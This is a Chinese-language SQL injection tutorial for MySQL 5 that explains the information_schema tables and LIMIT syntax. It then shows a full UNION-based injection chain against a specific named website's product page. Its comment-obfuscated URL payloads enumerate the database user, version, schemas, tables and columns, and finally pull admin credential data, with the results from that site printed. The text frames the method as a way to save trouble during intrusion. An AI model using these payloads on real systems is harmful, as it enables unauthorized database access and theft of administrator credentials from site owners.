Mysql5手工常规注入

Mysql5和之前的版本有很多不同的地方，灵活的运用其特性可以在入侵的时候省掉很多麻烦。
一、原理分析
我们先看看mysql5比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |

+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息，我这里只挑注射中可以用到的几个表。　
| SCHEMATA ――>存储数据库名的，
|——>关键字段：SCHEMA_NAME，表示数据库名称
| TABLES ――>存储表名的
|——>关键字段：TABLE_SCHEMA表示表所属的数据库名称；
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段：TABLE_SCHEMA表示表所属的数据库名称；
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到，我们只要通过注射点构造查询语句遍相关字段，就可以得到我们想要的信息了。
具体的表的结构大家可以参考：
http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

Mysql中limit的用法详解

在我们使用查询语句的时候，经常要返回前几条或者中间某几行数据，这个时候怎么办呢？不用担心，mysql已经为我们提供了这样一个功能。
SELECT * FROM table  LIMIT [offset,] rows | rows OFFSET offset
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数，第一个参数指定第一个返回记录行的偏移量，第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)： 为了与 PostgreSQL 兼容，MySQL 也支持句法： LIMIT # OFFSET #。


mysql> SELECT * FROM table LIMIT 5,10;  // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行，可以指定第二个参数为 -1：
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数，它表示返回最大的记录行数目：
mysql> SELECT * FROM table LIMIT 5;     //检索前 5 个记录行

//换句话说，LIMIT n 等价于 LIMIT 0,n。

http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,2/*
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,user()/*     当前用户  sq_chrismokmysql@localhost
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,version()/*  当前数据库版本   5.2.0-falcon-alpha-community-nt
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,database()/* 当前数据库       sq_chrismokmysql
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,SCHEMA_NAME/**/from/**/information_schema.SCHEMATA limit 0,1/*   查询所有的数据库名
information_schema sq_chrismokmysql
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1--    查询数据库中的表名
admin jsp_guestbook jsp_info_sort jsp_info jsp_m_info jsp_member
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x61646D696E/**/limit/**/0,1--  查询表中的列名
ad_id ad_truename ad_username ad_password  ad_flag
http://www.songye.net/cn/product/view.php?proid=327&cata=1013 and 1=2/**/union/**/select/**/1,ad_password/**/from/**/admin--         查询数据
songye administrator